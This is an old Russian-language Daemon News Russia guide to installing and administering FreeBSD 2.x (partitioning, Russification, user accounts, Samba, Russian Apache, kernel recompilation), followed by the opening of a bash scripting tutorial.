С каких носителей его можно инсталлировать? FreeBSD можно инсталлировать с дискет (классический способ), с FAT-раздела, с FreeBSDраздела, с CD-ROM (ну, это нынче все могут), со стримера (у меня его никогда не было), а также по сети: по NFS и по FTP (обычному и сквозь FireWall). Как правило, на CD-ROM не самая свежая версия, с дискет довольно мучительно, для инсталляции с FreeBSD-раздела нужно http://www.freebsd.bip.ru/bsdserver.shtml (1 of 11)10.04.2004 17:23:42
Daemon News Russia
иметь дистрибутив, записанный на этот раздел (а значит, иметь установленный FreeBSD). NFS вообще используется довольно редко, по крайней мере для NFS, как и для FreeBSD-раздела надо иметь уже установленный Unix, Так что остаются FAT-раздел и FTP. Для FTP нужно иметь быструю, а главное - стабильную связь с FTP-сервером, поэтому для первой инсталляции рекомендую закачать FreeBSD на FAT-раздел локального диска. Это отрежет часть места на диске, но потом можно будет снести FAT-раздел и сделать на его месте что-нибудь полезное или же держать его для загрузки в DOS. На каких именно серверах можно взять FreeBSD? Для получения списка серверов обратитесь на http://www.freebsd.org/; в России - ftp://ftp.ru/, ftp:// ftp.kiae.su/ и ftp://ftp.gamma.ru/. К сожалению, ftp.gamma.ru не позволяет анонимный вход, если ваша машина не известна ReverseDNS-серверу, отвечающему за вашу зону IP-номеров; так что если вы только собираетесь строить свою Internet-сеть на базе FreeBSD, то это место не самое удачное. Что именно закачивать? Сначала надо подготовить директории: mkdir /FreeBSD cd /FreeBSD mkdir bin mkdir floppies Вот мы и создали основные директории. Если думаете брать еще что-нибудь, выясняйте, где оно лежит и действуйте аналогично. Запускаем FTP-клиента: ftp ftp[номер][.страна].freebsd.org Я не оговорился - все FTP-серверы, содержащие FreeBSD, прописаны в домене freebsd.org. Узнать, какой ближе, можно командой ping ftp[номер][.страна].freebsd.org по принципу наименьшего времени отклика и наибольшего процента возвращенных пакетов. Сервер спросит login: и Password: login: ftp Password: имя@ - обычный анонимный вход на FTP-сервер. Дальше cd pub/FreeBSD/версия-RELEASE Вопрос о версии требует отдельного рассмотрения. К сожалению, 2.2.1 и 2.2.2 мне не понравились - похоже, там что-то намудрили и они работают нестабильно. Пришлось вернуться к 2.1.7.1, а ее удалось найти только на ftp.freebsd.org - на ftp.kiae.su и ftp.gamma.ru ее уже не было, там держат только последние версии. Включаем режим перекачки двоичных (нетектовых) файлов
http://www.freebsd.bip.ru/bsdserver.shtml (2 of 11)10.04.2004 17:23:42
Daemon News Russia
bin и визуального отображения закачанных килобайтов hash отключим вопросы про каждый файл "это брать?" prompt Далее: cd bin lcd bin mget *.* lcd .. cd .. Для минимальной инсталляции надо взять все в директории bin. Там находятся файлы bin.?? (от bin.aa до bin.cq - последний зависит от версии), bin.mtree, checksum.md5 и install.sh - всего 17 MB. Если процесс оборвался, допустим, на файле bin.ai, не надо качать все заново, можно продолжить командой mget bin.a[i-z] bin.[bc]? bin.mtree checksum.md5 install.sh Впрочем, это все относится к командной строке FTP, к тому же операционные системы Micro$oft в командах "lcd" вместо "/" используют "\". Если у вас FTP-программа работает по другому делайте сами. cd floppies lcd floppies get boot.flp lcd ../tools cd ../tools get rawrite.exe quit boot.flp - образ загрузочной инсталляционной 1.44 MB дискеты (естественно, надо иметь такой дисковод). Прежние версии обходились дискетой 1.2 MB. Впрочем, возможно, удастся впихнуть ядро на 5.24"-дискету, отформатировав ее на 1.44 rawrite.exe - программа под DOS, способная сделать из форматированной дискеты и файла boot.flp загрузочную дискету. Теперь минимальная инсталляция (впрочем, это не так мало) находится на нашем диске. Там же в tools есть еще много иногда полезного, описанного в 00_index.txt, берите, если хочется. Изготовим загрузочную дискету: rawrite.exe boot.flp a: Теперь загрузимся с нее. Будет много непонятных сообщений - не пугайтесь "not found" или "conflict with" - ядро содержит множество драйверов для самых разных устройств, большая часть которых у вас отсутствует (ну действительно, откуда взяться на машине десятку сетевых карт разных производителей?). Основная проблема может быть с NE1000/NE2000-совместимыим и 3Com 3C503 картами - устройство ed0 расчитывает на Port 280 и IRQ 5, ed1 - Port 300 и IRQ 5. Впрочем, перед стартом ядро предлагает научить его работать с другими портами и прерываниями, но я предпочел переставить параметры карты (перемычками на карте или программой-настройщиком), так как считаю, что аппаратуру конфигурировать проще, чем программу. Надеюсь, вы заранее подготовили свободное место на диске для FreeBSD-раздела? Если нет, и к тому же у вас только одна партиция, придется вернуться в DOS, стереть лишнее, http://www.freebsd.bip.ru/bsdserver.shtml (3 of 11)10.04.2004 17:23:42
Daemon News Russia
дефрагментировать диск и воспользоваться программой fips.exe (лежит рядом с rawrite.exe), чтобы освободить место. (При этом размер кластера на FAT-разделе останется прежним.) Первое, что надо сделать - создать раздел на диске. Создадим FreeBSD-партицию (в терминах Unix она называется slice, а partition - подраздел внутри slice) на все свободное место либо, если свободное место не непрерывно, на самый большой непрерывный кусок. Затем надо создать подразделы. Я рекомендую такую схему: / (корень) - от 16 до 32 MB /usr (системные программы и данные для них) - от 50 MB swap (область подкачки) - см.ниже /var (рабочие файлы) - порядка 30 MB /home (домашнии директории пользователей) - остальное Конкретные значения сильно зависят от размера диска. Рекомендуемое значение для / составляет 20 MB, если меньше - sysinstall будет возмущаться; ну и пусть, ничего страшного. / usr должна соответствовать обьему инсталлируемого, при выборе distribution можно уточнить, сколько именно понадобится и отвести раза в полтора больше. swap зависит не столько от обьема диска, сколько от количества оперативной памяти и должен превышать ее в два..пять раз (в пять раз - с учетом возможного наращивания памяти). Если хотите, чтобы FAT-раздел был доступен из Unix, надо указать точку монтирования для него, обычно - /dos. После того, как вы дали приказ начать инсталляцию и отказались от последнего шанса спасти информацию на том месте, которое отвели под FreeBSD, будет долгое извлечение из архива и размещение на диске. Можно пока нажать Alt+F2 - посмотреть как идет извлечение, Alt+F4 подать какую-нибудь команду (ой, лучше не делайте этого) и Alt+F1 - вернуться обратно. Теперь, если все закончилось удачно, зайдем в пост-конфигурирование. Если вы проводили инсталляцию по сети, то сетевой интерфейс должен быть уже сконфигурирован, иначе лучше честно ответить на вопросы о конфигурации сетевого интерфейса. Если у вас есть подключение к Internet, адреса должен дать провайдер или местный сетевой администратор, если же это чисто внутренняя сеть - воспользуйтесь адресом из множества, отведенного под внутрикорпоративные сети, например 192.168.0.1 и маской 255.255.255.0. Если есть подключение, желательно сконфигурировать анонимный FTP-доступ, если есть внутренняя сеть - неплохо покажет себя Samba (файл-сервер для Micro$oft Network по протоколу TCP/IP). И наконец, весьма здорово сделать WWW-сервер на базе Apache! Я даже не ожидал, что это будет так легко. И как мне пользоваться этой системой дальше? После выхода из программы инсталляции система должна загрузиться с жесткого диска. Снова будут те же самые сообщения "not found" и "conflict with". Как-то раз у меня не пошла загрузка сразу после инсталляции (система висла), но вместо того, чтобы устанавливать все заново, я на приглашение загрузчика ввел Boot: kernel.GENERIC и вместо того, чтобы грузиться с основного ядра /kernel, загрузился с его копии /kernel. GENERIC. Затем вошел без пароля: login: root
http://www.freebsd.bip.ru/bsdserver.shtml (4 of 11)10.04.2004 17:23:42
Daemon News Russia
и скопировал хорошее ядро на место плохого: cp /kernel.GENERIC /kernel Дальнейшие действия проходят под китайским лозунгом "три дня труда - десять лет счастья". :-) Бороться придется по большей части врукопашную. Для начала возьмем на ftp://ftp.kiae.su/pub/ FreeBSD/local deco*bin.tgz. Закинуть его можно в любую директорию, я предпочитаю в /dos (на случай переустановки) или /var (не засорять же / и /usr); желательно недалеко от корня, иначе долго будет добираться. Инсталлируем pkg_add deco*bin.tgz Если deco*bin.tgz не в текущей директории, придется указывать полный путь. Почему-то авторы решили, что запускаемый файл лучше поместить в /usr/local/bin/, но я предпочел переместить его mv /usr/local/bin/deco /usr/bin/deco Хотя директория /usr/bin/ по умолчанию прописана в переменной окружения PATH, мне пришлось выйти из системы (Ctrl+D) и войти снова, чтобы можно было запускать deco без указания полного пути. Теперь deco запускается, но - вот ужас! - он черно-белый, вместо псевдографики - "|", "-" и "+", не работают клавиши с F5 до F10. Надо править файлы /etc/ttys и /etc/termcap. С /etc/ttys довольно просто: ttyv? "/usr/libexec/getty Pc" pc3r on secure Где вместо "?" надо подставить номера консолей (мне хватает с 0 по 7). С /etc/termcap несколько сложнее. Во первых, он хранится не в /etc/, а в /usr/share/misc/; /etc/termcap символьный линк к реальному файлу (обозначается /etc/termcap -> /usr/share/misc/). А мы сотрем его и сделаем другой, на тот termcap, который пришел с deco: rm /etc/termcap ln -s /usr/lib/deco/termcap /etc/termcap Но этого мало, надо его поправить: # Standard Xenix console. # It is not true ansi, but has been hacked for dumb users. ansi|xenix|pc3r| cons25r:\ :g1=\240\241\253\273\256\261\276\265\245\270\250:\ :C2:Nf#16:Nb#8: Mf=042615378CAE9DBF:Mb=04261537:\ :Cf=\E[%p1%{8}%/%d;3%p1%{8}%m%d;4%p2%dm:fs=\E[m: \ :kI=\E[L:kH=\E[F:kd=\E[B:kN=\E[G:kl=\E[D:\ :kr=\E[C:kh=\E[H:ku=\E[A:kP=\E[I:kD=\177:\ :f1=\E[M:f2= \E[N:f3=\E[O:f4=\E[P:f5=\E[Q:\ :f6=\E[R:f7=\E[S:f8=\E[T:f9=\E[U:f0=\E[V:tc=ansi: vt100:gs=\E(0:ge=\E (B:g1=-|+\136+}+{+++:\ :f0=\EOp:f1=\EOq:f2=\EOr:f3=\EOs:f4=\EOt:f5=\EOu:f6=\EOv:\ :f7=\EOw:f8= \EOx:f9=\EOy:kh=\EOP:kD=\177:kb=\008:\ :md=\E[1m:mr=\E[7m:mb=\E[5m:me=\E[m:tc=vt100: Некоторые пояснения: ● ●
pc3r используется для локального входа, vt100 - для telnet. g1 - список символов для вывода рамки окна (здесь - KOI-8)
http://www.freebsd.bip.ru/bsdserver.shtml (5 of 11)10.04.2004 17:23:42
Daemon News Russia ●
●
k* - определение клавиши, в т.ч. ❍ kI - Insert ❍ kD - Delete f* - определение функциональной клавиши
Вообще, читайте руководство - команда man termcap 5 (если вы установили manual pages) содержит по этому поводу все, что я знаю, и все остальное. "5" означает, что manual page будет браться из каталога man5; иначе будет взята первая попавшаеся, а именно 3-я, в которой описаны вызовы библиотеки termcap. Но псевдографика же соответствует Alt-кодировке, а не KOI-8? В Internet принята кодировка KOI-8 - кодировка Unix и Acorn, кодировка E-mail, FTP и Usenet (News). (WWW/HTTP, как правило, в многокодовой форме). Поэтому обратимся к /etc/sysconfig для версий до 2.1.* или /etc/rc.conf для версий, начиная с 2.2.*. Этот файл - всего лишь запускаемый (исполняемый), да и не делает ничего, кроме определения переменных, которые будут использоваться в /etc/rc и запускаемых из него /etc/rc.* и /etc/netstart. Если интерсно, как именно: grep имя_переменной /etc/sysconfig /etc/rc.* /etc/netstart Ну да ладно, вернемся к проблеме русификации. В комментариях к переменным написано много интересного, позволяющего разобраться, что с этой переменной делать и какие значения она может принимать. Вот так я настраиваю клавиатуру: keymap="ru.koi8-r" keyrate="fast" keychange="NO" cursor="blink" Русификацию экрана можно провести двумя путями: загрузить шрифты KOI-8 или загрузить шрифты Alt и карту перекодировки. Разница в том, что символы Alt-псевдографики отображаются видеоконтроллером с расширением на один столбец вправо, из-за чего горизонтальные линии в KOI-8 получаются разрывными (как будто использовались знаки равенства "="). Но а предпочел KOI-8: scrnmap="NO" font8x16="koi8-r-8x16" font8x14="NO" font8x8="NO" blanktime="NO" saver="NO" Для того, чтобы эти изменения возымели действие, надо перезагрузить систему. Опытный администратор часто может произвести настройку без этого, но надо убедиться, что при последующих включениях машины все будет нормально. reboot Дальнейшие действия? Советую слинковать некоторые директории. Некоторые программы почему-то считают, что spool/ должен находиться в /usr/, а mail/ - в spool/ ln -s /var/spool /usr/spool ln -s /var/mail /var/spool/mail
http://www.freebsd.bip.ru/bsdserver.shtml (6 of 11)10.04.2004 17:23:42
Daemon News Russia
Почему-то стартовые скрипты должны находиться в /usr/local/etc/rc.d, в то время как я считаю, что /usr вообще должна быть read-only mkdir /etc/rc.d mv /usr/local/etc/rc.d/* /etc/rc.d rmdir /usr/local/etc/rc.d ln -s /etc/rc.d /usr/local/etc/rc.d А где брать серверы DNS, FTP, Samba и Apache? Серверы DNS и FTP присутствует в минимальной поставке. Кстати, анонимный FTP доступ надо конфигурить (создать пользователя FTP, в поле пароля прописать "*" и назначить ему домашнюю директорию), а вот парольный действует автоматически, используя ту же базу данных, что и терминальный доступ. А для Samba и Apache достаточно просто сменить Media указать в качестве источника FTP-сервер. Packages (в это понятие входят множество программ) редко превышают 1.5 MB, так что их можно инсталлировать даже по сети из США, что я и делал. Впрочем, Apache лучше взять русский (об этом далее). Как администрировать юзеров и регулировать доступ к файлам? Для этого есть специальные утилиты, например, adduser. Но эти утилиты слишком умные: например, копируют стандартные инициализационные файлы в домашнюю директорию пользователя, а я считаю, что сам могу решить, что надо копировать, а что - нет. Базовый файл - /etc/master.passwd, из него получаются /etc/passwd (общедоступный список пользователей), /etc/spwd.db (база пользователей) и /etc/pwd.db (база паролей). Для добавления и удаления юзеров, а также для изменения некоторых параметров можно использовать команду vipw (как следует из ее названия, она запускает редактор vi или другой, если установлена переменная окружения EDITOR). Но я предпочитаю deco, а затем даю команду pwd_mkdb master.passwd. (Внимание - это можно делать только если гарантируется, что никто другой не будет редактировать файл в это время! vipw блокирует запуск другого экземпляра этой (но не другой) программы администрирования юзеров.) В файле master.passwd на каждого юзера отведено по одной строке. Каждая строка состоит из полей, разделенных двоеточием: ● ●
● ● ● ● ● ● ● ●
имя пользователя (вводится на приглашение login:) закодированный пароль (пустая строка соответствует отсутствию пароля, звездочка "*" не соответствует никакому паролю и войти под этим именем будет невозможно). UID (User IDenteficator), число GID (Group IDenteficator), число User's general classification (в 2.0 не использовалось, в 2.2.2 вроде уже задействовано). Password change time (у меня в этом поле всегда ноль) Account expiration time комментарий; обычно - полное имя пользователя home (домашняя директория) shell (программа, запускаемая при входе с терминала)
Имя пользователя задействовано во множестве мест, в т.ч. в терминальном входе (при работе на машине с Unix как на рабочей станции), в почтовом обмене (как имя отправителя и получателя), а также в доступе по FTP и Samba. Во всех случаях используется один и тот же пароль. http://www.freebsd.bip.ru/bsdserver.shtml (7 of 11)10.04.2004 17:23:42
Daemon News Russia
Пароль шифруется алгоритмом, который не позволяет расшифровать обратно, а при входе в систему сравниваются зашифрованный пароль из базы паролей и свежезашифрованный введенный пользователем пароль. Сменить пароль можно командой passwd имя_юзера; если дать просто команду passwd, это относится к тому имени, под которым сейчас работаем; обычный юзер (не супервизор) должен сначала ввести старый пароль, и если система сочтет его пароль недостаточно секретным (слишком короткий, содержит только строчные буквы), то не примет его. Пароль надо вводить дважды, причем вслепую - обычные меры безопасности, принятые нынче во всех системах. Пустой пароль при шифрации превращается в пустую строку, так что если надо убрать пароль, нужно стереть его ручками (ввод пустого пароля рассматривается как отказ от изменений). Никакой пароль не превращается в звездочку "*", это используется как запрет входить под таким именем. Отсутствие пароля (пустой пароль) приводит к отказу некоторых особо осторожных сервисов работать с этим пользователем. UID идентифицирует права пользователя на файлы и процессы (а не имя!). Таким образом, второй account с тем же UID будет лишь alias для первого (т.е. оба account'а будут иметь идентичные права). /* Переводите с английского сами, я не могу. */ Этот UID будет присвоен всем файлам и директориям, созданным юзером. Изменить UID файла может только супервизор (пользователь с UID=0). GID также будет присвоен всем файлам и директориям, созданным юзером. Юзер может входить в несколько групп, если это прописано в /etc/group. Со следующими тремя полями я не разбирался. Комментарий используется в строке "From:" в письмах, отправляемых командой mail, сообщается командой finger. Домашняя директория становится текущей и записывается в переменную HOME при терминальном входе, в ней лежат настроечные файлы ко многим программам. Также является корневой при подключении по Samba ресурса homes. Shell - для терминальных пользователей как правило /bin/sh, /bin/csh или /bin/bash. Для почтового обмена по UUCP - /usr/libexec/uucp/uucico. Для тех, кому надо предоставить только специфический доступ (например, POP3 и Samba) ставится /usr/bin/passwd и единственной возможностью при входе терминалом или по Telnet для них будет смена пароля. Для пользователей, которые никогда не будут работать (т.н. псевдопользователей) ставится несуществующий /none или безобидный /bin/false. Если shell, указанный пользователю, не прописан в файле /etc/shells, то многие сервисы (например, ftpd и pcnfsd) будут рассматривать такого пользователя как нежелательного. Что можно порекомендовать в плане администрирования? Прежде всего не надо использовать имя root. К сожалению, его нельзя удалить, слишком во многих местах оно задействовано. Поэтому я делаю root:*:0:0::0:0:SysMaster:/none:/none т.е. у него нет ни пароля, ни домашней директории, ни shell'а. Изначально во FreeBSD создается еще пользователь toor, который может заменить собой root, но я предпочитаю использовать какое-нибудь третье имя. Если же вы решили сохранить имя root, то по крайне мере надо http://www.freebsd.bip.ru/bsdserver.shtml (8 of 11)10.04.2004 17:23:42
Daemon News Russia
установить ему пароль (при установке этот пользователь создается без пароля). Если на машине несколько администраторов, то им лучше каждому иметь свой супервизорский account на случай если один вдруг решит сменить пароль. Вообще надо время от времени менять свой пароль, но я не буду вдаваться в подробности. Главное, на мой взгляд - не дать мерам безопасности мешать нормальной работе. Супервизору запрещен удаленный вход (по Telnet и FTP). Если надо удаленно администрировать систему, входите под обычным именем и давайте команду su имя_супервизора. Однако делать это могут только те, кто явно включен в нулевую группу (wheel). Вообще лучше поменьше времени проводить под правами супервизора - меньше вероятность повредить систему. Администрирование групп сильно зависит от задач, возлагаемых на систему. Этот аспект тоже администрирования подробно описан в литературе, а у меня на данный момент не так уж много пользователей, чтобы я успел накопить опыт. Какие особенности настройки Samba? Настройка Samba заключена в файле /usr/local/samba/lib/smb.conf или в /usr/local/etc/smb. conf, на всякий случай я залинковал их и у меня это как бы один файл. Вот он: [global] comment = FreeBSD - Samba %v log file = /var/log/samba.log dont descend = /dev,/proc,/root,/ stand printing = bsd map archive = no status = yes public = yes read only = no PREserve case = yes strip dot = yes security = share workgroup = Unix [homes] browseable = Yes comment = %U's Home Directory create mode = 0664 public = no mangled map = (*.html *.htm) (*;1 *) [pub] browseable = Yes path = /var/ftp/pub comment = Public domain public = yes read only = yes Комментарии к этому файлу даст команда man smb.conf, а я пока лишь замечу, что к этой машине не подключен принтер (соответственно нет секции [printers]), а в качестве публично доступной директории используется та же самая, что и по FTP. Какие особенности настройки Apache? При изучении Apache я использовал два источника: сервер поддержки русского Apache apache. lexa.ru Алекса Тутубалина и книгу Бена и Петера Лори "Apache: установка и использование" (издво Питер-Пресс). Начать лучше с сервера, там по русски изложена процедура начальной инсталляции. Замечу только, что в файле Configuration закомментарена строка, отвечающая за присоединение модуля Proxy, так что из-за этого когда я решил все-таки установить Proxy, мне пришлось перекомпилировать Apache еще раз. Дальнейшие сложности настройки связаны как с большими возможностями протокола HTTP, так и с большими возможностями самогО Apache. Собственно использование русского Apache связано с поддержкой нескольких русских кодировок. Приведу куски файла httpd.conf, отвечающие за это:
http://www.freebsd.bip.ru/bsdserver.shtml (9 of 11)10.04.2004 17:23:42
Daemon News Russia
Port 80 CharsetDecl koi8-r ru CharsetDecl windows-1251 ru #Перекодировка KOI<->KOI не нужна CharsetRecodeTable koi8-r windows-1251 conf/koi-win.tab CharsetAlias windows-1251 win1251 win xcp1251 cp1251 cp-1251 CharsetAlias koi8-r koi8r koi-8-r koi8 koi-8 koi CharsetPriority koi8-r windows1251 ISO-8859-5 ibm866 x-mac-cyrillic CharsetDefault koi8-r CharsetSourceEnc koi8-r CharsetSelectionOrder Portnumber Hostname Dirprefix Useragent CharsetMatchLanguage off CharsetRecodeFilenames Off Listen 80 Listen 8000 Listen 8001 CharsetByPort koi8-r 8100 CharsetByPort windows-1251 8101 Я избрал перекодировку по номеру порта; кодировка на сервере - KOI-8; при заходе по порту :80 выдается кодировка, запрошенная браузером. На сАмом деле у меня поддерживаются все пять кодировок, но здесь приведен пример для двух - KOI-8 и Windows1251. А почему она так долго загружается? Нельзя ли быстрее? Основное время тратится на неудачные попытки лишних драйверов найти несуществующие устройства. Все драйверы жестко вшиваются в ядро (хотя есть loadable kernel modules, это мало меняет суть дела). FreeBSD начиная с 2.1.6 имеет модуль предзагрузочной конфигурации: можно указать Port и IRQ устройства или вообще отключить его. Измененные значения фиксируются и это сильно ускоряет загрузку, но драйверы все равно занимают место в файле и на диске, поэтому если хочется, чтобы машина работала более эффективно, придется перекомпилировать ядро. Это не требует писать программы, надо только указать компилятору, какие именно части надо включить в ядро. Со страхом и трепетом я приступил в первый раз к перекомпиляции ядра. На всякий случай позвал на помощь товарища. Тот, правда, видел Unix второй раз в жизни, но "кто умеет - делает, а кто не умеет - советует". :-) Еще говорят, что "кто совсем не умеет - учит", но я, как видите, делал, а теперь учу. :-) Кстати, его советы оказались неплохими, по крайней мере в части перевода с английского и в понимании логики конфигурирования. Для начала надо получить ftp.freebsd.org/pub/FreeBSD/версия-RELEASE/src/ssys.*, обычно я кладу их на DOS-раздел в \FreeBSD\src\, рядом с bin. Теперь их надо извлечь. Маленькая тонкость - по умолчанию /sys -> /usr/src/sys, а я не хочу кидать исходники ядра в /usr. Поэтому mkdir /var/src /var/src/sys ln -s /var/src /usr/src cat .../src/ssys.?? | tar --unlink -xvpzf - -C / Последнюю строчку я почти не раздумывая взял из .../bin/install.sh. При этом извлекается исходник ядра с кучей драйверов, часть из которых прописана в GENERIC. Идем дальше: cd /sys/i386/conf cp GENERIC MYCONF редактировать файл MYCONF config MYCONF cd /sys/ compile/MYCONF make depend make make install reboot Если компиляция заткнется на каком-либо этапе, вам сообщат. Внимательно читайте диагностику и, чтобы не сбросить ее с экрана, производите правку с другой виртуальной консоли или из другой сесии telnet. Что значит "редактировать файл MYCONF"? Изначально файл GENERIC содержит строки команда драйвер параметры #комментарий http://www.freebsd.bip.ru/bsdserver.shtml (10 of 11)10.04.2004 17:23:42
Daemon News Russia
например cpu "I386_CPU" cpu "I486_CPU" cpu "I586_CPU" Естественно, надо оставить тот, который соответствует вашей машине. Возможен также вариант, когда это ядро должно работать в нескольких конфигурациях, тогда надо оставить строки, соответствующие хоть одной (т.е. если ядро делается для 486-й машине, которая вскоре должна быть усилена до 586-й, то надо оставить две последние строки). В этом очень поможет файл LINT. Он содержит все драйверы, которые есть в ssys.?? и по слухам не может быть скомпилирован - некоторые строки противоречат друг другу. Зато от неплохо прокомментирован. Моя первая компиляция закончилась неудачно - я выкинул шину PCI (ее на машине действительно не было), но оставил какое-то PCI-устройство и компилятор на нем запнулся. Ничего страшного не произошло, машина не повисла, система не грохнулась просто пришлось запустить компиляцию заново. Был вечер, ждать конца было неохота и я ушел домой, оставив компилятор работать, а утром получил готовое ядро. Компиляция сократила размер ядра (файла - ядро скомпрессировано, самораспаковывается при загрузке и в памяти занимает больше) с 1224 KB до 840 KB на одной машине и до 790 KB на другой (разница - в наличии CD-ROM и в сетевых картах). Это немаловажно, особенно если у вас не очень много памяти. FreeBSD способен работать и даже эффективно выполнять многие функции даже при 4 MB оперативной памяти, но для компиляции неплохо будет добавить; впрочем, компиляция при 8 MB, мне показалась, шла вполне приемлимо. Приложение 1 IP-адреса внутрикорпоративных сетей Для внутрикорпоративного использования ОргКомитет Internet выделил: одну сеть класса A с номерами 10.*.*.* 16 сетей класа B с номерами 172.[16..31].*.* 256 сетей класа C с номерами 192.168.*.*
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/bsdserver.shtml (11 of 11)10.04.2004 17:23:42
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Интерактивные интерфейсы пользователей новости
Командные интерпретаторы Базовые возможности командных интерпретаторов Перенаправление ввода/вывода и организация конвейера Управление ходом выполнения. Циклы Передача аргументов. Команда shift Упражнение Командные интерпретаторы Командный интерпретатор (по-другому - оболочка, shell) в операционных системах семейства UNIX предназначен для выполнения в основном следующих функций: предоставление пользователю интерактивного интерфейса для общения с системой (другими словами: обработка и выполнение пользовательских команд) выполнение файлов, содержащих команды интерпретатора (командные файлы); В системах UNIX (и во FreeBSD естественно) имеются несколько различных командных интерпретаторов. Наиболее популярные из них: sh - Bourne shell. csh - С-shell. ksh - Korn-shell. bash - Bourne Again shell. Как правило, все shell находятся в каталоге /bin. Но это не обязательно. Вы помните, что когда мы рассматривали вопросы установки packages, то установили интерпретатор bash в каталог / usr/local/bin. Все установленные в системе оболочки перечислены в файле /etc/shells. Наберите команду cat /etc/shells, и вы увидите примерно следующее: /bin/sh /bin/csh /usr/local/bin/bash Если строка в файле, в котором записаны команды интерпретатора, начинается на # , то эта строка - комментарий. Это не относится к самой первой строке файла. Она должна содержать запись, типа #!/bin/sh. Это указывает, что для выполнения команд будет вызван интерпретатор / bin/sh.
http://www.freebsd.bip.ru/shells.shtml (1 of 10)10.04.2004 17:23:45
Daemon News Russia
Далее рассмотрим возможности и языки командных интерпретаторов. Базовые возможности командных интерпретаторов Для определенности, в данной главе будем рассматривать интерпретатор bash. Если вам больше нравится работать и программировать в другой оболочке, можете в принципе пропустить изучение этой главы курса. Но замечу, что базовые возможности разных оболочек примерно одинаковые. Переменные и подстановка значений Все переменные в языке shell - текстовые. Их имена должны начинаться с буквы и могут состоять из латинских букв, цифр и знака подчеркивания (_). Bash поддерживает как простые переменные, так и массивы. Для установки переменной используется оператор =: Для простых переменных <имя>=<значение> Для массивов <имя>[индекс]=<значение>, либо <имя>=(<значение1> <значение2> ... <значениеN>), либо <имя>=([индекс1]=<значение1> [индекс2]=<значение2> ... [индексN]=<значениеN>) Чтобы воспользоваться значением переменной, надо перед ней поставить символ $. Можно также заключить переменную в фигурные скобки {}. Например: # hour=14 # echo $hour 14 # hourth=24 # echo $hourth 24 # echo ${hour}th 14th Двойные кавычки ( " ), одиночные кавычки ( ' ), обратные кавычки ( ` ) Кавычки могут использоваться для создания строк. Например: "Hello, world!" 'Good bye' Кроме того, кавычки могут отменять действие следующих специальных символов:
http://www.freebsd.bip.ru/shells.shtml (2 of 10)10.04.2004 17:23:45
Daemon News Russia
` ~ ! # $ % ^ & * ( ) - + = \ | ; '" , . < > ? Значения этих специальных символов в строках, заключенных в одиночные кавычки '<строка>' отменяются. В строках, заключенных в двойные кавычки "<строка>" также отменяются значения специальных символов, за исключением ! $ ` \ {. Обратная наклонная черта \ также отменяет действие специальных символов. Не путайте одиночные и обратные кавычки. Пример: # dat='date' (здесь стоят обратные кавычки) # echo $dat Mon Jun 05 14:17:20 2000
# dat='date' (здесь стоят одиночные кавычки) # echo $dat date Конвейеры и списки Несколько команд могут быть объединены с помощью символов канала |. В этом случае они образуют конвейер. <команда1> | <команда2> | <команда3> ... Символ канала | соединяет стандартный вывод команды <команда1> со стандартным вводом команды <команда2> и т.д. Каждая команда выполняется в отдельном процессе, а состояние выхода последней команды будет являться состоянием выхода конвейера. Примеры: # ps -ax | more # ls -l | grep "profile" Кроме конвейеров, команды могут объединяться в списки. Даже сами конвейеры могут быть объединены в списки. Это делается с помощью команд ; && ||. Команда ; просто последовательно выполняет оду команду или конвейер за другой (другим): # make depend ; make ; make install # cat /etc/passwd | grep root ; echo "User root" Для того, чтобы управлять выполнением следующей команды в списке в зависимости от состояния выхода предыдущей, используются команды && (логическое И) и || (логическое ИЛИ). Примеры: # mkdir mydir && cd mydir
http://www.freebsd.bip.ru/shells.shtml (3 of 10)10.04.2004 17:23:45
Daemon News Russia
В этом случае команда cd mydir будет выполнена только в том случае, если успешно (состояние выхода равно 0) завершится команда mkdir mydir. # cat /home/bob/.profile || echo "Нет файла .profile" В этом случае либо на экран будет выведено содержимое файла /home/bob/.profile, либо сообщение о том, что такого файла нет. Перенаправление ввода-вывода Команды и списки могут содержать операторы < и > - перенаправления стандартного ввода и стандартного вывода соответственно. Например: # ps -ax > /etc/proc выводит текущее состояние процессов не на экран, а в файл /etc/proc. Если к этому моменту такого файла не было, то он будет создан. Если он существовал, то его старое содержимое будет уничтожено новой информацией. Для то, чтобы не уничтожать содержимое файла, а добавить новую информацию (в конец файла), нужно использовать оператор >>: # ps -ax >> /etc/proc Кроме того, существует стандартный вывод ошибок. Он имеет дескриптор 2. Т.е. если мы не хотим получать сообщения об ошибках на стандартный вывод, то можно использовать перенаправление таким образом: # cat /etc/proc 2>err.log (ошибки, если возникнут, будут выведены в файл err.log) либо # cat /etc/proc 2>/dev/null (ошибки будут выведены "никуда", их посмотреть будет невозможно). Ввод перенаправляется аналогичным образом. Например, команда # mail
[email protected] < /home/mail.txt отправит содержимое файла /home/mail.txt по адресу
[email protected]. Оператор << означает, что ввод для данной команды находится "ЗДЕСЬ". Пример: # mail
[email protected] << end Hello, Bill! end По этой команде в тело письма войдет все, что встретится до указанного нами ограничителя ввода end. Управление ходом выполнения. Циклы Управлять ходом выполнения сценария на языке bash можно, используя кострукцию операторов if-fi. Оператор if имеет вид:
http://www.freebsd.bip.ru/shells.shtml (4 of 10)10.04.2004 17:23:45
Daemon News Russia
if <условие 1>; then <список операторов 1> elif <условие 2>; then <список операторов 2> else <список операторов 3> fi Работает эта конструкция так: Если выполнено <условие 1>, то выполняется <список операторов 1>. Если невыполнено <условие 1>, но выполнено <условие 2>, то выполняется <список операторов 2>. Если невыполнено <условие 1> и невыполнено <условие 2>, то выполняется <список операторов 3>. В конструкции if-fi операторы elif и else являются необязательными. В качестве условия проверки может быть использована любая команда (или список команд). Тогда условие будет считаться выполненным, если команда (список команд) завершилась с кодом 0 (т.е. выполнилась нормально). Но на практике чаще используют команду test для проверки какого-либо выражения. Команда test записывается так: test <выражение> или же [<выражение>]. Ниже приводится список опций, используемых при выполнении команды test. -d file Истинно, если файл file существует и является директорией. -e file Истинно, если файл file существует. -f file Истинно, если файл file существует и является обычным файлом. -k file Истинно, если файл file существует и для него установлен sticky-бит. -L file Истинно, если файл file существует и является символической ссылкой. -r file Истинно, если файл file существует и его можно читать. -s file Истинно, если файл file существует и имеет ненулевой размер. -t file Истинно, если файл file открыт на терминале. -w file Истинно, если файл file существует и в него можно записывать. -x file Истинно, если файл file существует и является выполняемым. -O file Истинно, если файл file существует и принадлежит текущему пользователю. file1 -nt file2 Истинно, если файл file1 создан (изменен) позднее, чем файл file2.
